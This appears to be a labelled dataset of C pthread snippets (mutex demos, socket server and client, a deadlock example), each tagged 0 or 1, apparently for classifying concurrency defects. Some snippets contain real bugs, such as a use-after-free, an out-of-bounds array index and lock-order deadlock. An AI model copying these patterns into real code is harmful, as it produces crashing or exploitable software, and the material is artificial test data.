3){ pthread_cond_signal(&prof); } if(head->numQuestions == 0){ --numStud; free(head); head = head->next; if(head == 0){ pthread_cond_signal(&prof); } } } void AnswerStart(){ } void AnswerDone(){ int rand = (random() % 1000) + 1; usleep(rand); snack++; } void Nap(){ puts("Professor is Napping ...\\n"); } void Snack(){ puts("Professor snacks on an oreo cookie.\\n"); }
1
#include <pthread.h> void *processActivity(void *arg); int counter; pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; int connFd; int sockFd; } fdStruct; int main() { pthread_t processThread; struct sockaddr_in servAddr; struct fdStruct myFdStruct; memset(&servAddr, 0, sizeof (servAddr)); myFdStruct.sockFd = socket(PF_INET, SOCK_STREAM, 0); if (myFdStruct.sockFd == -1) { perror("did not create the socket"); exit(1); } servAddr.sin_family = AF_INET; servAddr.sin_port = htons(5000); if (inet_pton(AF_INET, "127.0.0.1", &servAddr.sin_addr) == -1) { perror("inet_pton problem"); exit(1); } if (bind(myFdStruct.sockFd, (struct sockaddr*) &servAddr, sizeof (servAddr)) == -1) { perror("did not bind socket properly"); close(myFdStruct.sockFd); exit(1); } if (listen(myFdStruct.sockFd, 60) == -1) { perror("listen failure"); close(myFdStruct.sockFd); exit(1); } printf("\\nI am the server starting up. Hit Ctrl C to get rid of me!\\n"); printf("\\nServer info: (IP: %s, port: %d)\\n\\n", inet_ntoa(servAddr.sin_addr), ntohs(servAddr.sin_port)); while (1) { myFdStruct.connFd = accept(myFdStruct.sockFd, (struct sockaddr*) 0, 0); if (myFdStruct.connFd < 0) { perror("accept call failed"); close(myFdStruct.connFd); close(myFdStruct.sockFd); exit(1); } printf("I have just dealt with a client!\\n"); pthread_create(&processThread, 0, &processActivity, (void*) &myFdStruct); } pthread_join(processThread, 0); close(myFdStruct.sockFd); pthread_mutex_destroy(&mutex1); return (0); } void *processActivity(void *arg) { fdStruct threadFdStruct; threadFdStruct = *((fdStruct *) (arg)); while (1) { char transmitBuff[1024] = {0}; char receiveBuff[1024] = {0}; sprintf(transmitBuff, "Hello client, the server is using this fd for you: %d\\n", threadFdStruct.connFd); memset(receiveBuff, 0, sizeof (receiveBuff)); if ((read(threadFdStruct.connFd, receiveBuff, sizeof (receiveBuff))) == -1) { perror("read from connection failure"); close(threadFdStruct.connFd); close(threadFdStruct.sockFd); exit(1); } pthread_mutex_lock(&mutex1); printf("This server to date has an aggregate of %d reads for all clients\\n", counter++); pthread_mutex_unlock(&mutex1); printf("I just read this from a client: %s\\n", receiveBuff); if ((write(threadFdStruct.connFd, transmitBuff, strlen(transmitBuff))) == -1) { perror("write to connection failure"); close(threadFdStruct.connFd); close(threadFdStruct.sockFd); exit(1); } if (strcmp(receiveBuff, "End\\r\\n") == 0) { printf("Closing down this client connection\\n"); close(threadFdStruct.connFd); pthread_exit(0); } } }
0
#include <pthread.h> { void (*func)(void *); void *data; } thread_gate_t; static void *thread_gate_start_cb (void *aptr); static thread_gate_t *thread_gate_create (void (*func)(void *), void *data); static void thread_gate_delete (thread_gate_t *self); pthread_t hybris_thread_start (void (*start)(void *), void *arg); void hybris_thread_stop (pthread_t tid); static pthread_mutex_t hybris_thread_gate_mutex = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t hybris_thread_gate_cond = PTHREAD_COND_INITIALIZER; static void * thread_gate_start_cb(void *aptr) { thread_gate_t *gate = aptr; void (*func)(void*); void *data; pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, 0); pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, 0); pthread_mutex_lock(&hybris_thread_gate_mutex); pthread_cond_broadcast(&hybris_thread_gate_cond); pthread_mutex_unlock(&hybris_thread_gate_mutex); func = gate->func; data = gate->data; thread_gate_delete(gate),gate = 0; func(data); return 0; } static thread_gate_t * thread_gate_create(void (*func)(void *), void *data) { thread_gate_t *self = calloc(1, sizeof *self); if( self ) { self->func = func; self->data = data; } return self; } static void thread_gate_delete(thread_gate_t *self) { if( self ) { free(self); } } pthread_t hybris_thread_start(void (*start)(void *), void* arg) { pthread_t tid = 0; thread_gate_t *gate = 0; if( !(gate = thread_gate_create(start, arg)) ) { goto EXIT; } pthread_mutex_lock(&hybris_thread_gate_mutex); if( pthread_create(&tid, 0, thread_gate_start_cb, gate) != 0 ) { mce_log(LL_ERR, "could not start worker thread"); tid = 0; } else { mce_log(LL_DEBUG, "waiting worker to start ..."); pthread_cond_wait(&hybris_thread_gate_cond, &hybris_thread_gate_mutex); mce_log(LL_DEBUG, "worker started"); gate = 0; } pthread_mutex_unlock(&hybris_thread_gate_mutex); EXIT: thread_gate_delete(gate); return tid; } void hybris_thread_stop(pthread_t tid) { if( tid != 0 ) { mce_log(LL_DEBUG, "stopping worker thread"); if( pthread_cancel(tid) != 0 ) { mce_log(LL_ERR, "failed to stop worker thread"); } else { void *status = 0; pthread_join(tid, &status); mce_log(LL_DEBUG, "worker stopped, status = %p", status); } } }
1
#include <pthread.h> int mutex_number = 0; void *thr_fn1(void *arg) { pthread_mutex_t *lock; lock = (pthread_mutex_t*)arg; pthread_mutex_lock(lock); printf("pthread 1 get the lock\\n"); mutex_number ++; sleep(10); printf("pthread 1 unlock the lock\\n"); pthread_mutex_unlock(lock); pthread_exit((void*)0); } void *thr_fn2(void *arg) { pthread_mutex_t *lock; lock = (pthread_mutex_t *)arg; while(pthread_mutex_trylock(lock) == EBUSY){ printf("pthread 2 doesn't get the lock\\n"); sleep(1); } printf("pthread 2 get the lock\\n"); mutex_number ++; pthread_mutex_unlock(lock); } int main(void) { pthread_mutex_t lock; int err; pthread_t tid1, tid2; if(pthread_mutex_init(&lock, 0) < 0){ perror("pthread_mutex_init"); exit(1); } err = pthread_create(&tid1, 0, thr_fn1, &lock); if(err != 0){ perror("pthread_create"); exit(1); } sleep(1); err = pthread_create(&tid2, 0, thr_fn2, &lock); if(err != 0){ perror("pthread_create"); exit(1); } err = pthread_join(tid1, 0); if(err != 0){ perror("pthread_join"); exit(1); } err = pthread_join(tid2, 0); if(err != 0){ perror("pthreadjoin2"); exit(1); } pthread_mutex_destroy(&lock); exit(0); }
0
#include <pthread.h> pthread_mutex_t write_data; pthread_cond_t cv; char message[128]; bool ready; void gps_request(int client_sock); int gps_request_init(){ pthread_t thread1; pthread_mutex_init(&write_data, 0); pthread_cond_init (&cv, 0); int sock; struct sockaddr_in server; sock = socket(AF_INET , SOCK_STREAM , 0); if (sock == -1) { printf("Could not create socket\\n"); } server.sin_addr.s_addr = inet_addr("127.0.0.1"); server.sin_family = AF_INET; server.sin_port = htons(DEFAULT_PORT); int counter = 0; while (connect(sock , (struct sockaddr *)&server , sizeof(server)) < 0) { if(counter++ % 10 == 0){ printf("\\nWaiting for connection...\\n"); } sleep(1); } pthread_create(&thread1, 0, gps_request, (void*)sock); return 1; }; void get_gps(char* msg){ pthread_mutex_lock(&write_data); { sprintf(message, "%s", "local"); ready = 1; pthread_cond_signal(&cv); } pthread_mutex_unlock(&write_data); pthread_mutex_lock(&write_data); { while (ready) { pthread_cond_wait(&cv, &write_data); } sprintf(msg, "%s", message); } pthread_mutex_unlock(&write_data); } void gps_request(int client_sock){ ready = 0; while(1){ char buff[128]; int len = 128; pthread_mutex_lock(&write_data); while (!ready) { printf("%d", ready); pthread_cond_wait(&cv, &write_data); } sprintf(buff, "local"); send(client_sock, buff, strlen(buff), 0); memset(buff, '\\0', len); recv(client_sock, buff, len, 0); sprintf(message, "%s", buff); ready = 0; pthread_cond_signal(&cv); pthread_mutex_unlock(&write_data); } }
1
#include <pthread.h> static pthread_mutex_t ast_mutex = PTHREAD_MUTEX_INITIALIZER; void LockAsts(){ pthread_mutex_lock(&ast_mutex); } void UnlockAsts(){ pthread_mutex_unlock(&ast_mutex); }
0
#include <pthread.h> int **array; size_t row = 1024, col = 1024; size_t size = 0; int counter = 0; pthread_mutex_t mutexcounter; double elapse(struct timeb *before, struct timeb *after) { double t; t = (after->time * 1000 + after->millitm) - (before->time * 1000 + before->millitm); t /= 1000; return t; } int checkPrime(int num) { int i; if (num == 0 || num == 1) return 1; if (num == 2) return 0; for (i = 2; i < num; i++) { if (num % i == 0) { return 1; } } return 0; } void init_array() { array = calloc(row, sizeof *array); for (row = 0; row < 1024; row++) array[row] = calloc(col, sizeof *array[row]); } void fill_array() { for (row = 0; row < 1024; row++) { for (col = 0; col < 1024; col++) array[row][col] = row * col; } } void *check_prime_array(void *arg) { int i, j; int threadId = (int*) arg; int startIndex, endIndex; int partialCounter = 0; if (threadId == 0) { startIndex = 0; endIndex = 200; } if(threadId == 1) { startIndex = 200; endIndex = 400; } if(threadId == 2) { startIndex = 400; endIndex = 600; } if(threadId == 3) { startIndex = 600; endIndex = 800; } if (threadId == 4){ startIndex = 800; endIndex = 850; } if (threadId == 5){ startIndex = 850; endIndex = 900; } if (threadId == 6){ startIndex = 900; endIndex = 950; } if (threadId == 7){ startIndex = 950; endIndex = 1024; } for (i = startIndex; i < endIndex; i++) { for (j = 0; j < 1024; j++) { if (checkPrime(array[i][j]) == 0) { partialCounter++; } } } pthread_mutex_lock(&mutexcounter); counter += partialCounter; pthread_mutex_unlock(&mutexcounter); return 0; } int main() { pthread_t tid[8]; pthread_mutex_init(&mutexcounter, 0); init_array(); fill_array(); struct timeb before, after; double t; ftime(&before); int i, j; for (i = 0; i < 8; i++) { pthread_create(&tid[i], 0, &check_prime_array, (void *) i); } for (j = 0; j < 8; j++) { pthread_join(tid[j], 0); } ftime(&after); t = elapse(&before, &after); printf("The elapse time is: %lf seconds\\n", t); printf("counter %d \\n", counter); pthread_mutex_destroy(&mutexcounter); pthread_exit(0); for (row = 0; row < 1024; row++) free(array[row]); free(array); return 0; }
1
#include <pthread.h> int is_jpeg_request(struct http_url_t *url) { char *ext = extension(url->path); if (ext == 0) return 0; char *ext_lower = strdup(ext); if (ext_lower == 0) { fprintf(stderr, "Insufficient memory\\n"); exit(1); } tolower_str(ext, ext_lower); int ret_val = (!strcmp(ext_lower, ".jpg") || !strcmp(ext_lower, ".jpeg")); free(ext_lower); return ret_val; } static void destroy_compressed_jpg_RPC(char *buf) { free(buf); } static char *create_compressed_jpg_RPC(struct http_response_info_t *ri, size_t *new_size, char *RPC_host) { *new_size = ri->content_len; char *out_buf = emalloc(*new_size); rpc_compress_jpg(ri->content, ri->content_len, out_buf, new_size, RPC_host); if (*new_size <= 0) { fprintf(stderr, "Remote Procedure Call Failed\\n"); return 0; } return out_buf; } static void send_response(struct http_response_info_t *ri, struct connection *conn) { size_t new_response_len; char *new_response = http_create_response(ri, &new_response_len); forward_to_client(new_response_len, new_response, (void *) &conn->client.sock); http_destroy_response(new_response); } static char *get_random_RPC_host(struct proxy_options *opts, int thread_id, int thread_count) { pthread_mutex_lock(&opts->seed_mutex); int r = rand_r(&opts->seed); pthread_mutex_unlock(&opts->seed_mutex); return opts->RPC_hosts[r % opts->RPC_host_count]; } int process_rpc_jpeg_request(int server_sockfd, struct http_request_info_t *proxy_request, struct request_processor_arg_t *arg) { struct connection *conn = arg->conn; int thread_id = arg->thread_id; int thread_count = arg->num_threads; struct proxy_options *opts = arg->global_config; int status = 200; size_t buf_sz = 8192; char request_buf[buf_sz]; http_create_request(request_buf, proxy_request); char *total_response_buf = emalloc(buf_sz); struct vector total_response = { .buf = total_response_buf, .buf_size = buf_sz, .total_written = 0 }; char response_buf[buf_sz]; int bytes_read = make_request(server_sockfd, request_buf, response_buf, buf_sz, store_to_buffer, &total_response); if (bytes_read < 0) { fprintf(stderr, "Error parsing response.\\n"); send_http_error(conn, 502, "Bad Gateway"); return 502; } struct http_response_info_t resp; if (http_parse_response(total_response.buf, total_response.total_written, &resp) != 0) { fprintf(stderr, "Error parsing response.\\n"); send_http_error(conn, 502, "Bad Gateway"); return 502; } if ((strcmp(resp.status, "200") != 0) || resp.content_len == 0 || resp.content == '\\0') { send_response(&resp, conn); return atoi(resp.status); } size_t compressed_size; char *RPC_host = get_random_RPC_host(opts, thread_id, thread_count); char *compressed_buf = create_compressed_jpg_RPC(&resp, &compressed_size, RPC_host); if (compressed_buf == 0 || compressed_size <= 0) { send_http_error(conn, 500, "Proxy error"); return 500; } size_t bytes_lost = resp.content_len - compressed_size; resp.data_len -= bytes_lost; resp.content_len = compressed_size; resp.content = compressed_buf; send_response(&resp, conn); destroy_compressed_jpg_RPC(compressed_buf); free(total_response.buf); return status; }
0
#include <pthread.h> pthread_mutex_t lock_flag; int flag = 1; void *handlerA(void *arg) { int count = 0; while(1) { if(count >=10) { break; } pthread_mutex_lock(&lock_flag); if(flag == 1) { printf("A"); flag = 2; count++; } pthread_mutex_unlock(&lock_flag); } return 0; } void *handlerB(void *arg) { int count = 0; while(1) { if(count >=10) { break; } pthread_mutex_lock(&lock_flag); if(flag == 2) { printf("B"); flag = 3; count++; } pthread_mutex_unlock(&lock_flag); } return 0; } void *handlerC(void *arg) { int count = 0; while(1) { if(count >=10) { break; } pthread_mutex_lock(&lock_flag); if(flag == 3) { printf("C"); flag = 1; count++; } pthread_mutex_unlock(&lock_flag); } return 0; } int main() { pthread_t pidA; pthread_t pidB; pthread_t pidC; int ret; pthread_mutex_init(&lock_flag,0); ret = pthread_create(&pidA,0,handlerA,0); if(ret < 0) { perror("pthread create"); return -1; } ret = pthread_create(&pidB,0,handlerB,0); if(ret < 0) { perror("pthread create"); return -1; } ret = pthread_create(&pidC,0,handlerC,0); if(ret < 0) { perror("pthread create"); return -1; } pthread_join(pidA,0); pthread_join(pidB,0); pthread_join(pidC,0); return 0; }
1
#include <pthread.h> pthread_t thread[2]; pthread_mutex_t mut; int number=0, i; void *thread1() { printf ("thread1 : I'm thread 1\\n"); for (i = 0; i < 10; i++) { printf("thread1 : number = %d\\n",number); pthread_mutex_lock(&mut); number++; pthread_mutex_unlock(&mut); sleep(2); } printf("thread1 :主函数在等我完成任务吗?\\n"); pthread_exit(0); } void *thread2() { printf("thread2 : I'm thread 2\\n"); for (i = 0; i < 10; i++) { printf("thread2 : number = %d\\n",number); pthread_mutex_lock(&mut); number++; pthread_mutex_unlock(&mut); sleep(3); } printf("thread2 :主函数在等我完成任务吗?\\n"); pthread_exit(0); } void thread_create(void) { int temp; memset(&thread, 0, sizeof(thread)); if((temp = pthread_create(&thread[0], 0, thread1, 0)) != 0) printf("线程1创建失败!\\n"); else printf("线程1被创建\\n"); if((temp = pthread_create(&thread[1], 0, thread2, 0)) != 0) printf("线程2创建失败"); else printf("线程2被创建\\n"); } void thread_wait(void) { if(thread[0] !=0) { pthread_join(thread[0],0); printf("线程1已经结束\\n"); } if(thread[1] !=0) { pthread_join(thread[1],0); printf("线程2已经结束\\n"); } } int main() { pthread_mutex_init(&mut,0); printf("我是主函数哦,我正在创建线程,呵呵\\n"); thread_create(); printf("我是主函数哦,我正在等待线程完成任务阿,呵呵\\n"); thread_wait(); return 0; }
0
#include <pthread.h> int value; pthread_mutex_t mutex; }ResourceA; int value; pthread_mutex_t mutex; }ResourceB; ResourceA *ra; ResourceB *rb; }Storage; void *a_fn(void *arg) { Storage *s = (Storage *)arg; pthread_mutex_lock(&s->ra->mutex); sleep(1); printf("0x%lx is wait for ResourceB...\\n", pthread_self()); pthread_mutex_lock(&s->rb->mutex); printf("ResourceA value is:%d\\n", s->ra->value); printf("ResourceB value is:%d\\n", s->rb->value); pthread_mutex_unlock(&s->ra->mutex); pthread_mutex_unlock(&s->rb->mutex); return (void *)0; } void *b_fn(void *arg) { Storage *s = (Storage *)arg; pthread_mutex_lock(&s->ra->mutex); sleep(1); printf("0x%lx is wait for ResourceA...\\n", pthread_self()); pthread_mutex_lock(&s->rb->mutex); printf("ResourceA value is:%d\\n", s->ra->value); printf("ResourceB value is:%d\\n", s->rb->value); pthread_mutex_unlock(&s->rb->mutex); pthread_mutex_unlock(&s->ra->mutex); return (void *)0; } int main(void) { ResourceA ra; ResourceB rb; ra.value = 100; rb.value = 200; pthread_mutex_init(&ra.mutex, 0); pthread_mutex_init(&rb.mutex, 0); Storage s = { &ra, &rb }; int err; pthread_t thread_a, thread_b; if ((err = pthread_create(&thread_a, 0, a_fn, (void *)&s)) != 0) { printf("thread a create error!\\n"); exit(1); } if ((err = pthread_create(&thread_b, 0, b_fn, (void *)&s)) != 0) { printf("thread a create error!\\n"); exit(1); } pthread_join(thread_a, 0); pthread_join(thread_b, 0); pthread_mutex_destroy(&ra.mutex); pthread_mutex_destroy(&rb.mutex); return 0; }
1
#include <pthread.h> struct stack { char x[PTHREAD_STACK_MIN]; }; static pthread_mutex_t mutex[(503)]; static int data[(503)]; static struct stack stacks[(503)]; int shared_rd[(32768)]; int shared_rdwr[(32768)]; int num_threads; static void* thread(void *num) { int l = (int)num; int r = (l+1) % num_threads; int token; while(1) { pthread_mutex_lock(mutex + l); token = data[l]; if (token) { int i; fprintf(stderr,"start s%d...\\n",l); for(i=0;i<(32768);i++) { shared_rdwr[i] += shared_rd[i] + token; } data[r] = token - 1; fprintf(stderr,"...s%d done\\n",l); pthread_mutex_unlock(mutex + r); } else { printf("%i\\n", l+1); exit(0); } } } int main(int argc, char **argv) { int i; pthread_t cthread; pthread_attr_t stack_attr; if (argc != 3) { printf("Usage:\\n%s [num_threads] [pings]\\n",argv[0]); exit(255); } num_threads = atoi(argv[1]); data[0] = atoi(argv[2]); for(i=0;i<(32768);i++) { shared_rdwr[i] = i; shared_rd[i] = i; } pthread_attr_init(&stack_attr); for (i = 0; i < num_threads; i++) { pthread_mutex_init(mutex + i, 0); pthread_mutex_lock(mutex + i); pthread_attr_setstack(&stack_attr, &stacks[i], sizeof(struct stack)); pthread_create(&cthread, &stack_attr, thread, (void*)i); } pthread_mutex_unlock(mutex + 0); pthread_join(cthread, 0); }
0
#include <pthread.h> pthread_t *tRobots; pthread_mutex_t *nivelMtxs; pthread_cond_t *nivelConds; void * robotCtrl(void*); int pesoRobot[5]; int pesoPisos[5]; int pesoTotal[5]; int main(void) { tRobots = (pthread_t*)malloc(5 * 2 * sizeof(pthread_t)); nivelMtxs = (pthread_mutex_t*)malloc(5 * sizeof(pthread_mutex_t)); nivelConds = (pthread_cond_t*)malloc(5 * sizeof(pthread_cond_t)); srand(time(0)); for (int i = 0; i < 5; ++i) { pesoPisos[i] = rand() % 10 + 5; pesoTotal[i] = 0; printf("Sección(%d) :: peso %d \\n", i, pesoPisos[i]); } for (int i = 0; i < 5; ++i) { pthread_mutex_init(nivelMtxs + i, 0); pthread_cond_init(nivelConds + i, 0); } for (int i = 0; i < 5; i++) { pesoRobot[i] = rand() % 4 + 1; printf("Robot(%d) :: peso %d \\n", i, pesoRobot[i]); pthread_create(tRobots + i, 0, robotCtrl, (i)); } for (int i = 0; i < 5; ++i) pthread_join(*(tRobots), 0); free(nivelMtxs); free(nivelConds); free(tRobots); return 0; } void *robotCtrl(void *arg) { printf("Comprar robot(%d)\\n", (int)arg); int cont = 0; while (cont < 5) { pthread_mutex_lock(nivelMtxs + cont); if (pesoRobot[(int)arg] + pesoTotal[cont] > pesoPisos[cont]) { printf("Robot(%d) :: espera a que baje el peso\\n", (int)arg); pthread_cond_wait(nivelConds + cont, nivelMtxs + cont); pthread_mutex_unlock(nivelMtxs + cont); } else { pesoTotal[cont] += pesoRobot[(int)arg]; pthread_mutex_unlock(nivelMtxs + cont); printf("Robot(%d) :: compra en sección %d peso %d de %d\\n", (int)arg, cont, pesoTotal[cont], pesoPisos[cont]); int compra = rand() % 3; sleep(compra); printf("Robot(%d) :: terminó %d\\n", (int)arg, cont); pthread_mutex_lock(nivelMtxs + cont); pesoTotal[cont] -= pesoRobot[(int)arg]; pthread_cond_broadcast(nivelConds + cont); pthread_mutex_unlock(nivelMtxs + cont); cont++; } } pthread_exit(0); }
1
#include <pthread.h> int global_PULSE[4] = {1000,1000,1000,1000}; int order[4] = {0,1,2,3}; int buffer[4] = {0,0,0,0}; int buffer2[4] = {0,0,0,0}; int difference[4] = {0,0,0,0}; int PIN[4]= {7,0,2,3}; pthread_mutex_t lock; void setup() { wiringPiSetup (); int PULSE = 1000; pinMode (PIN[0],OUTPUT); digitalWrite(PIN[0],HIGH); pinMode (PIN[1],OUTPUT); digitalWrite(PIN[1],HIGH); pinMode (PIN[2],OUTPUT); digitalWrite(PIN[2],HIGH); pinMode (PIN[3],OUTPUT); digitalWrite(PIN[3],HIGH); int arming_time; for (arming_time = 0; arming_time < 200; arming_time++) { digitalWrite(PIN[0],HIGH); digitalWrite(PIN[1],HIGH); digitalWrite(PIN[2],HIGH); digitalWrite(PIN[3],HIGH); delayMicroseconds(PULSE); digitalWrite(PIN[0],LOW); digitalWrite(PIN[1],LOW); digitalWrite(PIN[2],LOW); digitalWrite(PIN[3],LOW); delay(20 - (PULSE/1000)); } } void merging(int *copy, int low, int mid, int high) { int l1, l2, i; for(l1 = low, l2 = mid + 1, i = low; l1 <= mid && l2 <= high; i++) { if(copy[l1] <= copy[l2]) { buffer[i] = copy[l1]; buffer2[i] = order[l1]; l1++; } else { buffer[i] = copy[l2]; buffer2[i] = order[l2]; l2++; } } while(l1 <= mid) { buffer[i] = copy[l1]; buffer2[i]= order[l1]; i++;l1++; } while(l2 <= high) { buffer[i] = copy[l2]; buffer2[i] = order[l2]; i++;l2++; } for(i = low; i <= high; i++) { copy[i] = buffer[i]; order[i] = buffer2[i]; } } void sort(int *copy, int low, int high) { int mid; order[0] = 0;order[1] = 1;order[2] = 2;order[3]=3; if(low < high) { mid = (low + high) / 2; sort(copy, low, mid); sort(copy, mid+1, high); merging(copy, low, mid, high); } else { return; } } void input_wait(void *ptr) { int *current_val; current_val = (int *) ptr; int copy[4]; while (1) { pthread_mutex_lock(&lock); printf("Enter New Value:"); scanf("%d %d %d %d", &copy[0], &copy[1], &copy[2], &copy[3]); pthread_mutex_unlock(&lock); sort(copy,0,3); int i; for (i = 0; i < 3; i++) { difference[i] = copy[i+1]-copy[i]; } for (i = 0; i < 4; i++) { printf("%d ",order[i]); } for (i = 0; i < 4; i++) { global_PULSE[i] = copy[i]; } printf("\\n"); } } int main() { setup(); pthread_mutex_init (&lock,0); int PULSE; printf("Enter Starting Motor Pulse Speed in MicroSecond: "); scanf("%d",&PULSE); global_PULSE[0] = PULSE; global_PULSE[1] = PULSE; global_PULSE[2] = PULSE; global_PULSE[3] = PULSE; pthread_t thread; pthread_create(&thread, 0, (void *) &input_wait, (void *) &global_PULSE); while (1) { digitalWrite(PIN[order[0]],HIGH); digitalWrite(PIN[order[1]],HIGH); digitalWrite(PIN[order[2]],HIGH); digitalWrite(PIN[order[3]],HIGH); delayMicroseconds(global_PULSE[0]); digitalWrite(PIN[order[0]],LOW); delayMicroseconds(difference[0]); digitalWrite(PIN[order[1]],LOW); delayMicroseconds(difference[1]); digitalWrite(PIN[order[2]],LOW); delayMicroseconds(difference[2]); digitalWrite(PIN[order[3]],LOW); delay(20 - (global_PULSE[3]/1000)); } pthread_join(thread,0); printf("\\nCurrent: %d\\n", global_PULSE); return (0); }
0
#include <pthread.h> struct file{ char serv_name[256]; int port; char *f_name; int req_per_con; pthread_t f_tid; int index; } file[1]; float *t_arr; pthread_mutex_t arr_mutex = PTHREAD_MUTEX_INITIALIZER; void *thread_runner(void*); int main(int argc, char* argv[]) { if(argc < 6){ perror("Specify arguments correctly"); exit(0);} int N = atoi(argv[3]); file[1].port = atoi(argv[2]); file[1].req_per_con = atoi(argv[4]); strcpy(file[1].serv_name,argv[1]); file[1].f_name= argv[5]; t_arr = (float*)malloc(N * sizeof(float)); int index; pthread_t tid; pthread_t *tid_arr = (pthread_t*) malloc(sizeof(pthread_t)*N); int n,i; int nconn = 0; while(nconn < N) { file[1].index = nconn; pthread_create(&tid, 0, &thread_runner,&file[1]); pthread_join(tid,0); nconn++; } float avg; for(i=0; i<N; i++) { pthread_mutex_lock(&arr_mutex); avg += (t_arr[i]/N); pthread_mutex_unlock(&arr_mutex); } printf("response time (in ms): %f",avg); exit(0); } void* thread_runner(void* iptr) { struct file *fptr = (struct file*)iptr; struct timeval start,end; float response_time; int index = (int)fptr->index; struct sockaddr_in servaddr; memset(&servaddr,0,sizeof(servaddr)); char line[256]; char reply[1000]; int sockfd = socket(AF_INET, SOCK_STREAM, 0); if(sockfd == -1) { perror("socket() failed");exit(0); } servaddr.sin_family = AF_INET; servaddr.sin_port = htons(fptr->port); char *ptr,**pptr,url[50],address[100]; char str[INET_ADDRSTRLEN]; struct hostent *hptr; ptr=fptr->serv_name; if((hptr=gethostbyname(fptr->serv_name))==0) { perror("could not resolve host:"); exit(0); } switch(hptr->h_addrtype) { case AF_INET: pptr=hptr->h_addr_list; for(;*pptr!=0;pptr++) { strcpy(address,inet_ntop(hptr->h_addrtype,*pptr,str,sizeof(str))); } break; default: break; } if(inet_pton(AF_INET, str,&servaddr.sin_addr) <= 0) { perror("inet_pton error");exit(0); } fflush(stdout); if(connect(sockfd,(struct sockaddr *) &servaddr,sizeof(servaddr)) < 0) { perror("connect() failed"); exit(0); } pthread_t tid = pthread_self(); int n = snprintf(line, sizeof(line), "GET %s HTTP/1.0\\r\\n\\r\\n", fptr->f_name); puts(line); int num_req = 0; while(num_req < fptr->req_per_con) { gettimeofday(&start, 0); if(send(sockfd,line,strlen(line),0) < 0) { perror("Send Failed"); continue; } if(recv(sockfd,reply,1000,0) < 0) { perror("recv failed"); continue; } else { printf("Reply received! thread : %u request no : %d\\n",tid+index,num_req); } gettimeofday(&end, 0); num_req++; response_time += (end.tv_sec - start.tv_sec) * 1000u + (end.tv_usec - start.tv_usec)/1000; fflush(stdout); } response_time/=fptr->req_per_con; pthread_mutex_lock(&arr_mutex); t_arr[index] = response_time; pthread_mutex_unlock(&arr_mutex); close(sockfd); return 0; }
1
#include <pthread.h> pthread_t threads[2]; { pthread_mutex_t mutex; int sondaggi[4][2]; float avg[4]; int n; } Gestore; Gestore g; void * persona_thread(void * t) { int tid = (int) t; pthread_mutex_lock(&g.mutex); for(int i=0; i < 4; i++) { g.n++; g.sondaggi[i][tid] = rand() % 20; int somma = 0; for(int k = 0; k < 2; k++) { somma += g.sondaggi[i][k]; } g.avg[i] = somma / 2; printf("Votazione(%d) per il film %d effettuata da %d, stato attuale del sondaggio per il film: %.2f\\n", g.sondaggi[i][tid], i, tid, g.avg[i]); } pthread_mutex_unlock(&g.mutex); return 0; } int main() { int result; int status; srand((unsigned int) time(0)); pthread_mutex_init(&g.mutex, 0); printf("Creo %d persone\\n", 2); for(int i = 0; i < 2; i++) { result = pthread_create(&threads[i], 0, persona_thread, (void *)(intptr_t) i); if(result) { perror("Errore nella creazione di un thread"); exit(-1); } } for(int i = 0; i < 2; i++) { int result = pthread_join(threads[i], (void*) &status); if(result) { perror("Errore nella join"); exit(-1); } } int max = 0; int max_film = 0; for(int i = 0; i < 4; i++) { printf("Voto medio per il film %d = %.2f\\n", i, g.avg[i]); if(g.avg[i] > max) { max = g.avg[i]; max_film = i; } } printf("Film con il punteggio più alto (%d)...... Rullo di tamburi..... %d\\n", max, max_film); return 0; }
0
#include <pthread.h> pthread_mutex_t mutex; pthread_cond_t cond; int var; } data_t; data_t g_data; void * writing_process(void * arg){ pthread_mutex_lock(&g_data.mutex); g_data.var=5; printf("write var before sending signal: %d\\n", g_data.var); sleep(2); pthread_cond_signal(&g_data.cond); pthread_mutex_unlock(&g_data.mutex); pthread_exit(0); } void * reading_process(void * arg){ pthread_mutex_lock(&g_data.mutex); pthread_cond_wait(&g_data.cond, &g_data.mutex); printf("reading var after signal received: %d\\n", g_data.var); pthread_mutex_unlock(&g_data.mutex); pthread_exit(0); } int main( int argc, char **argv){ void *ret; pthread_t th1, th2; if( pthread_mutex_init(&g_data.mutex, 0)) perror("MUTEX_INIT FAILED"); if( pthread_create( &th1, 0, writing_process, "1")<0){ perror("THREAD_ERR Couldnt create thread on writing_process"); return 1; } if( pthread_create( &th2, 0, reading_process, "2")<0){ perror("THREAD_ERR Couldnt create thread on reading_process"); return 1; } if( pthread_join(th1, &ret)){ perror("pthread_join1"); return 1; } if( pthread_join(th2, &ret)){ perror("pthread_join2"); return 1; } if( pthread_mutex_destroy(&g_data.mutex)) perror("MUTEX_DESTROY FAILED");; return 0; }
1
#include <pthread.h> void do_something(int *); void do_something_else(int *); void do_wrap_up(int, int); int r1 = 0, r2 = 0; int r3; pthread_mutex_t r3_mutex = PTHREAD_MUTEX_INITIALIZER; int rtn; int main(int argc, char ** argv){ pthread_t thread1, thread2; if (argc < 2){ perror("not enough args"); exit(1); } r3 = atoi(argv[1]); pthread_create(&thread1, 0, (void *) do_something, (void *) &r1); pthread_create(&thread2, 0, (void *) do_something_else, (void *) &r2); pthread_join(thread1, 0); pthread_join(thread2, 0); do_wrap_up(r1, r2); return 0; } void do_something(int * pnum_times){ int i,j,x; pthread_mutex_lock(&r3_mutex); if (r3 > 0){ x = r3; r3--; } else { x = 1; } pthread_mutex_unlock(&r3_mutex); for(i = 0; i < 4; i++){ printf("doing one thing\\n"); for(j=0;j<10000; j++){ x += i; } (*pnum_times)++; } } void do_something_else(int * pnum_times){ int i,j,x; pthread_mutex_lock(&r3_mutex); if (r3 > 0){ printf("Accessing r3: %d\\n", r3); } pthread_mutex_unlock(&r3_mutex); for(i = 0; i < 4; i++){ printf("doing another thing\\n"); for(j=0;j<10000; j++){ x += i; } (*pnum_times)++; } } void do_wrap_up(int one_times, int another_times){ int total; total = one_times + another_times; printf("wrap up: one thing %d, another %d, total %d\\n", one_times, another_times, total); }
0
